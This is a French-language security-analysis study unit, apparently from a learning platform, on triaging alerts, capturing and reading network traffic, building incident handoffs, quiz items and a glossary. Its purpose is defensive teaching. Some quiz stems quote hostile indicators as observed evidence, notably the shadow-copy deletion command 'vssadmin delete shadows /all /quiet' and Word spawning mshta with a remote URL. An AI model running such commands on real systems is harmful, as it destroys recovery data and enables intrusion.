- N’applique les correspondances ATT&CK que lorsque le comportement qui les étaye est observé.
- Utilise les lacunes et les explications concurrentes pour choisir les recherches de preuves supplémentaires.
5.2 Formule une conclusion et consigne les résultats
Une conclusion indique ce que les preuves étayent, ton niveau de confiance et ce qui doit se passer ensuite. Le dossier d’incident doit permettre à un autre analyste de reproduire l’investigation. Le seul classement d’une alerte comme grave ne fournit ni conclusion ni niveau de confiance défendable.
Classe le constat
Un vrai positif alerte correctement sur une activité malveillante. Un faux positif alerte sur une activité qui ne correspond pas à ce que la détection devait trouver. Un vrai positif bénin détecte correctement un comportement réel mais autorisé, comme un test d’intrusion planifié. Un faux négatif est une activité malveillante qui a été manquée. Utilise « non concluant » lorsque les preuves ne permettent pas encore de trancher et indique les données manquantes.
Vérifie si le comportement correspond à l’hôte et à l’utilisateur, s’il était autorisé, quelle est sa fréquence et si des sources indépendantes concordent. Indique un niveau de confiance élevé, moyen ou faible avec des raisons précises. Le niveau de confiance décrit la solidité du constat ; la gravité décrit son impact et son urgence.
Une commande PowerShell encodée, lancée par un agent de déploiement signé sur 3 000 hôtes pendant une fenêtre approuvée, se décode en une installation autorisée. C’est un vrai positif bénin lorsque la règle détecte correctement du PowerShell encodé. Le même schéma lancé par Word sur un hôte, qui contacte un domaine vieux de deux jours et crée une persistance, étaye une conclusion d’activité malveillante avec un niveau de confiance élevé.
Rédige une transmission reproductible
Consigne une brève synthèse, une chronologie en UTC, les hôtes et comptes touchés, les indicateurs neutralisés, les techniques ATT&CK étayées, la conclusion et le niveau de confiance. Inclus les requêtes, les identifiants d’alerte, les emplacements des preuves et les empreintes des fichiers pour qu’un autre analyste puisse retrouver les mêmes enregistrements. Énumère les actions déjà entreprises et les prochaines étapes recommandées.
Explique pourquoi une alerte est clôturée. Si une détection se déclenche à répétition sur une activité en dehors de son objectif, fournis aux ingénieurs de détection des exemples et du contexte pour le réglage. Une clôture inexpliquée masque à la fois les attaques manquées et les efforts répétés en vain.
Partage les indicateurs avec leur contexte
Associe une date d’expiration ou de révision aux indicateurs de domaines et d’adresses IP, car leur propriétaire et leur utilisation changent. Évite les blocages sans discernement d’infrastructures partagées comme les réseaux de diffusion de contenu. Les empreintes exactes identifient une version d’un fichier, tandis que les détections fondées sur le comportement peuvent repérer des variantes. Préserve le lien entre un indicateur, son comportement observé et son niveau de confiance lorsque tu le partages.
Préserve les preuves et procède à l’escalade
Transmets un constat malveillant confirmé conformément au scénario de réponse aux incidents, avec une gravité fondée sur les actifs touchés et l’impact. Préserve les messages originaux, les captures, les exports des terminaux et les échantillons recueillis. Consigne l’empreinte SHA-256 de chaque fichier ainsi que la personne qui l’a recueilli ou transféré et le moment de l’opération. Ces enregistrements de traçabilité documentent la manipulation des preuves ; l’empreinte permet de vérifier leur intégrité.
L’isolement par l’EDR est généralement préférable à la mise hors tension, car il restreint les communications tout en conservant la mémoire et un accès de gestion. L’arrêt forcé des processus et le redémarrage modifient aussi les preuves volatiles. Suis les priorités d’endiguement du scénario de réponse, recueille ce dont le dossier a besoin et consigne le moment de chaque action de réponse pour que les analystes suivants puissent distinguer l’activité de l’attaquant de la réponse.
Points clés
- Distingue les détections malveillantes, les comportements autorisés détectés et les erreurs de détection.
- Justifie le niveau de confiance par les preuves et la gravité par l’impact.
- Inclus les requêtes et les références aux preuves nécessaires pour reproduire la conclusion.
- Accompagne les indicateurs partagés de leur contexte et de dates de révision.
- Préserve les originaux, les empreintes et les enregistrements de traçabilité lors de l’escalade.
Analyse de l’activité réseau : exemples
1Suis un poste de travail, de la capture à la conclusion sur le trafic
17 étapes
- 1IntroductionTrouve l’origine du trafic
Un poste de travail a commencé à contacter un nouveau serveur et une alerte réseau évoque un possible interpréteur de commandes inversé. Tu choisiras un point de capture utile, liras l’échange, vérifieras son volume sur une période plus longue et examineras ce à quoi l’alerte correspondait. Les captures de paquets montrent le contenu, tandis que les enregistrements de flux ne conservent que les participants, les horaires et les volumes, mais remontent plus loin dans le temps.
Garde deux questions distinctes tout au long de l’investigation : ce que le capteur a observé et ce que cette observation permet de conclure sur le poste de travail.
- 2ExplicationPlace le capteur sur le trajet
Une capture à la frontière avec Internet peut voir la connexion externe du poste de travail, mais elle manque le trafic qui reste à l’intérieur d’un commutateur. Une capture à l’extérieur du NAT nécessite aussi les enregistrements de traduction pour retrouver la source interne.
Choisis une capture sur l’hôte ou un flux TAP/SPAN correctement placé selon la question posée. La capacité compte : réunir les deux sens d’une liaison chargée peut dépasser la capacité d’un port de surveillance et entraîner des pertes de paquets.
- 3ExempleEnregistre le trafic de l’hôte
Pour ce dossier, capture le trafic du poste de travail à l’adresse
192.168.1.50sureth0:sudo tcpdump -i eth0 -nn -s 0 -w case42.pcap host 192.168.1.50 and not port 22Les options sélectionnent l’interface, évitent les recherches de noms, conservent les paquets entiers et enregistrent les données brutes. Le filtre d’hôte conserve les deux sens ; l’exclusion du port 22 retire la session distante de l’analyste lorsqu’elle utilise ce port.
- 4DéfiRetrouve un protocole exclu
Supposons qu’une capture ait utilisé
host 192.168.1.50 and tcp port 443. Un filtre d’affichage appliqué ensuite peut-il révéler les paquets UDP de cet hôte sur le port 443 ?---reveal---
Non. Le filtre de capture a exclu UDP avant l’enregistrement : un filtre d’affichage n’a donc rien à révéler. UDP sur le port 443 peut comprendre QUIC. Vérifie une autre source ou effectue une capture avec un filtre plus large adapté ; préserve la première capture avec son intervalle de temps et ses statistiques de perte.
- 5ExempleIdentifie le client
L’échange enregistré commence par
192.168.1.50:51544 → 203.0.113.80:443 SYN. Le serveur renvoie SYN-ACK vers le port 51544, puis le client envoie ACK.Le poste de travail a initié la connexion. Le port élevé identifie ce point de terminaison côté client ; la réponse inverse la paire. Un numéro de port suggère le service attendu, mais la négociation seule ne dit rien de l’application transportée.
- 6ExempleLis le contenu renvoyé
Suis le flux TCP du téléchargement en clair. La requête indique
/update.php?id=WS-0423etHost: cdn-update.example.net. La réponse réussit et son corps commence parMZ.La réponse semble fournir un exécutable, même si le chemin se termine par
.php. Exporte l’objet pour vérifier son type, son empreinte et sa signature. Le chemin de l’URL est une cible de requête, pas une garantie quant au format du fichier renvoyé. - 7ExplicationSache quels détails TLS sont visibles
Si un échange ultérieur utilise TLS, la charge utile est chiffrée en l’absence de secrets de session adaptés ou d’un point d’inspection. Les horaires et les tailles en octets restent utiles. Un Client Hello visible peut fournir le SNI et une empreinte.
ECH peut masquer le nom demandé. TLS 1.3 chiffre aussi le certificat du serveur, contrairement à TLS 1.2. Consigne ce que cette capture expose réellement avant de déterminer quelles preuves relatives au nom ou au certificat manquent.
- 8DéfiVérifie l’association à un domaine
DNS a renvoyé
198.51.100.7pour un domaine suspect et l’hôte s’est connecté à cette adresse IP. Qu’est-ce qui renforcerait l’association avec le domaine ?---reveal---
Un en-tête HTTP Host, un SNI TLS visible, un enregistrement du proxy ou un événement du terminal mentionnant ce domaine la renforcerait. D’autres domaines peuvent partager cette adresse IP. La séquence est une piste utile, mais attribuer chaque connexion à cette adresse à un seul domaine revient à omettre une vérification d’identité nécessaire.
- 9AnalogieUtilise la facture détaillée du trafic
Un enregistrement de flux ressemble à une facture téléphonique détaillée : les participants, les horaires et les volumes sont conservés, mais pas les mots de la conversation. Il est utile pour rechercher sur une période plus longue que celle couverte habituellement par une capture complète.
Trouve d’abord l’hôte suspect et l’intervalle dans l’historique des flux. Récupère ensuite les paquets de l’échange précis s’ils existent, en distinguant les mesures de trafic des preuves relatives au contenu.
- 10ExempleReconstitue la connexion mesurée
Une connexion peut avoir des enregistrements de flux aller et retour distincts, ainsi que des fragments dus aux délais d’expiration. Associe les adresses et les ports dans l’ordre inverse, conserve le protocole et regroupe les fragments appartenant à cet échange.
Additionne séparément les octets sortants et entrants. Mesure le temps entre le premier début et la dernière fin. Additionner les durées de sens qui se chevauchent peut faire paraître une connexion de 40 minutes comme durant 80 minutes.
- 11ExempleCalcule le volume et le débit
L’hôte envoie 2,4 Go et reçoit 12 Mo entre 2 h 10 et 2 h 50 UTC. Convertis le volume envoyé en 2 400 Mo : le rapport entre les volumes sortant et entrant est de 200:1.
L’intervalle est de 2 400 secondes : le débit sortant moyen est donc de 1 Mo/s, soit 8 Mbit/s. Ce sont des mesures. Le jugement suivant les compare au rôle de l’hôte, au trafic de sauvegarde attendu, à l’historique de la destination et au processus responsable.
- 12DéfiInterprète un champ d’octets vide
Zeek enregistre l’état TCP
S0, un paquet émis par l’initiateur et zéro octet de charge utile. Faut-il écarter cette tentative comme une absence de trafic ?---reveal---
Non. L’enregistrement décrit une tentative observée sans réponse. Un SYN ne transporte aucune charge utile applicative : zéro octet de charge utile correspond donc aux paquets observés. Les exportateurs de flux qui incluent les en-têtes IP peuvent indiquer un nombre d’octets non nul pour la même tentative ; compare le sens des champs avant de comparer les totaux.
- 13ExempleMesure l’intervalle répété
Des connexions ont lieu à 10:00:00, 10:05:02, 10:09:59, 10:15:01 et 10:20:00. Les intervalles sont de 302, 297, 302 et 299 secondes, soit une moyenne de 300 secondes.
De petits transferts similaires à ce rythme suggèrent une minuterie logicielle. Vérifie le processus et la destination avant de conclure à une commande et un contrôle ; les logiciels de mise à jour approuvés se répètent aussi. Une dispersion plus large pourrait être une gigue ajoutée à une minuterie : une régularité parfaite n’est donc pas nécessaire.
- 14ExplicationLis la condition réelle de l’IDS
Une règle déclenche une alerte sur le trafic TCP de
$HOME_NETvers le port 4444 de$EXTERNAL_NETavecflow:to_server,established. Son message indique « Possible reverse shell ».La connexion établie et son sens sont des conditions vérifiées par la règle. Les commandes d’un interpréteur ne figurent pas parmi ces conditions. Lis
sidet la révision pour identifier la règle, puis examine les paquets et le processus sur le terminal pour déterminer ce que signifiait le trafic correspondant. - 15DéfiVérifie l’autorisation du balayage
Un hôte sonde de nombreux ports sur un serveur, produisant principalement des
REJet desS0. Que faut-il vérifier avant de classer cette activité comme un balayage par un attaquant ?---reveal---
Vérifie l’inventaire des scanneurs approuvés et le calendrier des tests. Ce schéma est un balayage vertical, mais un scan de vulnérabilités autorisé peut aussi le produire. Une adresse source correspondante n’est utile que si son attribution actuelle et le moment du test correspondent aussi à l’autorisation.
- 16DéfiRelie les indices réseau
La nouvelle destination présente des contacts périodiques, un transfert sortant nocturne volumineux et une alerte fondée sur un port. Quelles preuves doivent permettre de déterminer si ces éléments appartiennent à une même chaîne d’activité malveillante ?
---reveal---
Utilise les instances de processus du terminal pour attribuer les connexions, puis examine le protocole et le contexte de la destination. Compare le transfert aux activités approuvées. Une seule adresse IP commune et un message de règle laissent ouverte la possibilité d’un trafic sans rapport ou d’une infrastructure partagée : ils ne suffisent donc pas à établir une commande et un contrôle et un vol.
- 17RécapitulatifTransmets les preuves
Tu disposes maintenant d’une capture dont le point d’observation est connu, d’un échange reconstitué, de mesures de trafic par sens et d’une interprétation vérifiée de l’alerte. La transmission doit conserver les paquets pertinents, les horodatages d’origine, les empreintes et les références des requêtes.
Si le trafic reste suspect, le pivot d’investigation le plus utile consiste à rechercher sur le terminal le processus qui l’a produit : ce processus peut relier le schéma réseau à une exécution, à des fichiers et à une persistance.
2Analyse un message de fournisseur signalé
13 étapes
Enregistre cette unité pour suivre chaque Leçon Interactive pas à pas.
- 1IntroductionCommence par le message original
- 2ExplicationDistingue les champs de l’expéditeur
- 3ConseilTrouve la limite de confiance
- 4ExempleCompare les domaines ayant réussi
- 5DéfiUtilise une signature alignée préservée
- 6ExempleExamine l’action demandée
- 7ExplicationLis l’hôte réel d’un lien
- 8DéfiChoisis une vérification indépendante
- 9ExempleDécode une URL personnalisée
- 10ExplicationRecherche séparément la remise et l’interaction
- 11DéfiDétermine le périmètre au-delà de l’auteur du signalement
- 12DéfiDétermine quelles preuves font évoluer le dossier
- 13RécapitulatifTransmets le périmètre et l’impact
3Retrace l’exécution et trouve les moyens de son retour
16 étapes
Enregistre cette unité pour suivre chaque Leçon Interactive pas à pas.
- 1IntroductionSuis l’historique de l’hôte
- 2ExplicationVérifie la télémétrie
- 3DéfiDistingue les instances de processus
- 4ExempleLis l’ascendance
- 5ExplicationDécode le texte de la commande
- 6DéfiÉvalue un outil signé
- 7ExempleLis le déclencheur à l’ouverture de session
- 8ExempleExamine l’action planifiée
- 9ExplicationRecherche au-delà de deux emplacements
- 10DéfiTraite deux voies de persistance
- 11ExempleLis la date d’un fichier d’apparence ancienne
- 12ExplicationTrouve les modifications des défenses
- 13DéfiRelie une archive à un transfert sortant
- 14LienUtilise l’inventaire pour obtenir du contexte
- 15DéfiChoisis un endiguement qui préserve les preuves
- 16RécapitulatifDécris la chaîne sur l’hôte
4Transforme un fichier suspect en constats vérifiables
14 étapes
Enregistre cette unité pour suivre chaque Leçon Interactive pas à pas.
- 1IntroductionPose une question différente à chaque méthode
- 2ExempleConsigne l’identifiant exact du contenu
- 3ExplicationLis le rapport au-delà de son rapport de détection
- 4DéfiInterprète un fichier signé inconnu
- 5ExempleVérifie le format réel du fichier
- 6ExempleExtrais les deux formes de texte
- 7ExplicationCombine les indices de compression
- 8DéfiLis une règle YARA à conditions conjointes
- 9ExplicationAdapte l’environnement d’exécution
- 10ExempleExtrais les comportements et les artefacts
- 11DéfiExplique une exécution inactive
- 12DéfiDistingue le comportement du mode de transmission
- 13LienRecherche à l’aide d’indices durables
- 14RécapitulatifDistingue les capacités des observations
5Établis et transmets un constat d’incident défendable
11 étapes
Enregistre cette unité pour suivre chaque Leçon Interactive pas à pas.
- 1IntroductionRends les preuves vérifiables
- 2ExempleConvertis l’heure de la console
- 3ExplicationVérifie à qui l’adresse était attribuée
- 4ExempleConstruis la séquence observée
- 5DéfiVérifie une conclusion fondée sur une adresse IP commune
- 6Point cléLaisse ATT&CK décrire ce qui a été observé
- 7ExplicationDistingue la détection de l’autorisation
- 8DéfiClasse un déploiement approuvé
- 9ExempleRédige la conclusion et la transmission
- 10DéfiGarde une conclusion finale proportionnée
- 11RécapitulatifLaisse un dossier que d’autres peuvent poursuivre
Analyse de l’activité réseau : QCM
Série 1 : Lis le trafic et vérifie l’alerte10 Questions Pratiques
Question 1 sur 10
Afficher la réponseMasquer la réponse
Question 2 sur 10
Afficher la réponseMasquer la réponse
Question 3 sur 10
10.8.0.14:53720 → 203.0.113.62:8443 SYN. Quel point de terminaison a initié la connexion ?Afficher la réponseMasquer la réponse
Question 4 sur 10
/status.asp reçoit une réponse commençant par 4D 5A. Que doit en déduire l’analyste et que doit-il vérifier ensuite ?Afficher la réponseMasquer la réponse
Question 5 sur 10
Afficher la réponseMasquer la réponse
Question 6 sur 10
Afficher la réponseMasquer la réponse
Question 7 sur 10
Afficher la réponseMasquer la réponse
Question 8 sur 10
Afficher la réponseMasquer la réponse
Question 9 sur 10
Afficher la réponseMasquer la réponse
Question 10 sur 10
Afficher la réponseMasquer la réponse
Série 2 : Retrace les identités des courriels et l’étendue de la campagne10 Questions Pratiques
Enregistre cette unité pour voir chaque réponse et t'entraîner sur chaque série.
Question 1 sur 10
Afficher la réponseMasquer la réponse
Enregistre cette unité pour voir cette réponse.
Question 2 sur 10
accounts@example.org, une réussite SPF pour bounce.mailer.example.net et une réussite DKIM pour example.org. Quel est le résultat DMARC avec un alignement strict ?Afficher la réponseMasquer la réponse
Enregistre cette unité pour voir cette réponse.
Question 3 sur 10
Afficher la réponseMasquer la réponse
Enregistre cette unité pour voir cette réponse.
Question 4 sur 10
Afficher la réponseMasquer la réponse
Enregistre cette unité pour voir cette réponse.
Question 5 sur 10
https://portal.example.org@203.0.113.88/session. Quel est son hôte ?Afficher la réponseMasquer la réponse
Enregistre cette unité pour voir cette réponse.
Question 6 sur 10
Afficher la réponseMasquer la réponse
Enregistre cette unité pour voir cette réponse.
Question 7 sur 10
Afficher la réponseMasquer la réponse
Enregistre cette unité pour voir cette réponse.
Question 8 sur 10
Afficher la réponseMasquer la réponse
Enregistre cette unité pour voir cette réponse.
Question 9 sur 10
Afficher la réponseMasquer la réponse
Enregistre cette unité pour voir cette réponse.
Question 10 sur 10
Afficher la réponseMasquer la réponse
Enregistre cette unité pour voir cette réponse.
Série 3 : Suis l’exécution et la persistance sur les terminaux10 Questions Pratiques
Enregistre cette unité pour voir chaque réponse et t'entraîner sur chaque série.
Question 1 sur 10
Afficher la réponseMasquer la réponse
Enregistre cette unité pour voir cette réponse.
Question 2 sur 10
Afficher la réponseMasquer la réponse
Enregistre cette unité pour voir cette réponse.
Question 3 sur 10
Afficher la réponseMasquer la réponse
Enregistre cette unité pour voir cette réponse.
Question 4 sur 10
WINWORD.EXE lance mshta.exe, dont la signature est valide, avec une URL distante. Qu’est-ce qui rend cet appel suspect malgré la signature valide ?Afficher la réponseMasquer la réponse
Enregistre cette unité pour voir cette réponse.
Question 5 sur 10
[kworker/3:2]. Il s’exécute en tant qu’utilisateur ordinaire, descend d’un interpréteur de commandes et /proc/<pid>/exe pointe vers un fichier supprimé dans /dev/shm. Comment interpréter ces indices ?Afficher la réponseMasquer la réponse
Enregistre cette unité pour voir cette réponse.
Question 6 sur 10
Afficher la réponseMasquer la réponse
Enregistre cette unité pour voir cette réponse.
Question 7 sur 10
Afficher la réponseMasquer la réponse
Enregistre cette unité pour voir cette réponse.
Question 8 sur 10
Afficher la réponseMasquer la réponse
Enregistre cette unité pour voir cette réponse.
Question 9 sur 10
Afficher la réponseMasquer la réponse
Enregistre cette unité pour voir cette réponse.
Question 10 sur 10
vssadmin delete shadows /all /quiet. Pourquoi cela exige-t-il une escalade urgente ?Afficher la réponseMasquer la réponse
Enregistre cette unité pour voir cette réponse.
Série 4 : Compare la réputation, les indices statiques et le comportement en bac à sable10 Questions Pratiques
Enregistre cette unité pour voir chaque réponse et t'entraîner sur chaque série.
Question 1 sur 10
Afficher la réponseMasquer la réponse
Enregistre cette unité pour voir cette réponse.
Question 2 sur 10
Afficher la réponseMasquer la réponse
Enregistre cette unité pour voir cette réponse.
Question 3 sur 10
Afficher la réponseMasquer la réponse
Enregistre cette unité pour voir cette réponse.
Question 4 sur 10
4D 5A. Quelle est la prochaine vérification utile de son type ?Afficher la réponseMasquer la réponse
Enregistre cette unité pour voir cette réponse.
Question 5 sur 10
Afficher la réponseMasquer la réponse
Enregistre cette unité pour voir cette réponse.
Question 6 sur 10
999.12.4.8 comme texte ressemblant à une adresse IPv4. Que doit faire l’analyste de ce résultat ?Afficher la réponseMasquer la réponse
Enregistre cette unité pour voir cette réponse.
Question 7 sur 10
MZ au décalage zéro et une correspondance avec au moins l’une des chaînes A et B. L’échantillon X possède MZ au décalage zéro et B dans un encodage large pris en charge. L’échantillon Y possède MZ uniquement au décalage 20 ainsi que A et B. Quel échantillon correspond à la règle, et pourquoi ?Afficher la réponseMasquer la réponse
Enregistre cette unité pour voir cette réponse.
Question 8 sur 10
Afficher la réponseMasquer la réponse
Enregistre cette unité pour voir cette réponse.
Question 9 sur 10
Afficher la réponseMasquer la réponse
Enregistre cette unité pour voir cette réponse.
Question 10 sur 10
Afficher la réponseMasquer la réponse
Enregistre cette unité pour voir cette réponse.
Série 5 : Rapproche les preuves et transmets le dossier10 Questions Pratiques
Enregistre cette unité pour voir chaque réponse et t'entraîner sur chaque série.
Question 1 sur 10
Afficher la réponseMasquer la réponse
Enregistre cette unité pour voir cette réponse.
Question 2 sur 10
Afficher la réponseMasquer la réponse
Enregistre cette unité pour voir cette réponse.
Question 3 sur 10
Afficher la réponseMasquer la réponse
Enregistre cette unité pour voir cette réponse.
Question 4 sur 10
Afficher la réponseMasquer la réponse
Enregistre cette unité pour voir cette réponse.
Question 5 sur 10
Afficher la réponseMasquer la réponse
Enregistre cette unité pour voir cette réponse.
Question 6 sur 10
Afficher la réponseMasquer la réponse
Enregistre cette unité pour voir cette réponse.
Question 7 sur 10
Afficher la réponseMasquer la réponse
Enregistre cette unité pour voir cette réponse.
Question 8 sur 10
Afficher la réponseMasquer la réponse
Enregistre cette unité pour voir cette réponse.
Question 9 sur 10
Afficher la réponseMasquer la réponse
Enregistre cette unité pour voir cette réponse.
Question 10 sur 10
Afficher la réponseMasquer la réponse
Enregistre cette unité pour voir cette réponse.
Tu bloques sur ton propre exercice ? Aide aux Devoirs
Mots-Clés
A
Abonnement aux événements WMI
Algorithme de génération de noms de domaine
Alignement des domaines
Analyse statique
Arbre des processus
Authentication-Results
B
Bac à sable
Balayage horizontal
Balayage vertical
Beaconing
Biais de confirmation
C
Camouflage
Capture de paquets
Chaîne de traçabilité des preuves
Clé Run
Corrélation
D
Décalage de l’horloge
Détermination du périmètre de la campagne
Détonation
Détournement de fil de discussion
DKIM
DMARC
DNS
DNS passif
É
Échantillonnage
Équipement non autorisé
Établissement de connexion TCP
État de connexion
État de fonctionnement du capteur
Évasion de bac à sable
E
EDR
Empreinte floue
Empreinte TLS
En-tête From
En-tête HTTP Host
En-tête Received
Encodage pour cent
EncodedCommand
Encrypted Client Hello
Enregistrement de flux
Entropie
Exécution sans fichier
Expéditeur de l’enveloppe
Expression régulière
F
Falsification des horodatages
Faux négatif
Faux positif
Fichier authorized_keys
Filtre d’affichage
Filtre de capture
Fraude au courriel professionnel
G
GeoIP
Gigue
GUID de processus
H
Hameçonnage
Hameçonnage ciblé
Homoglyphe
I
Identifiant uid de Zeek
Imphash
Indicateur de compromission
IPFIX
L
LaunchAgent et LaunchDaemon
LOLBin
M
Marque du Web
MDM
Message-ID
MITRE ATT&CK
Mutex
N
NAT
Neutralisation des indicateurs
Niveau de confiance
Nombre magique
NXDOMAIN
P
Packer
Persistance
Port SPAN
Préparation des données avant exfiltration
Prévalence
Profil de trafic de référence
Pyramide de la douleur
Q
Quintuplet (tuple à 5 éléments)
R
Rançongiciel
RDAP
Réassemblage de flux TCP
Règle de détection d’intrusion
Réputation
S
SHA-256
SNI
SPF
T
Table d’importation PE
Tâche cron
Tâche planifiée
Tampon circulaire
TAP réseau
Tunnel DNS
Typosquattage
U
Unité systemd
UTC
V
Vrai positif
Vrai positif bénin
W
Web shell
X
XDR
Y
YARA
À propos de cette unité
Crée ton propre Matériel d'Étude
Transforme tes notes, diapos et documents en Guides d'Étude, Questions Pratiques, Flashcards et 6 autres outils.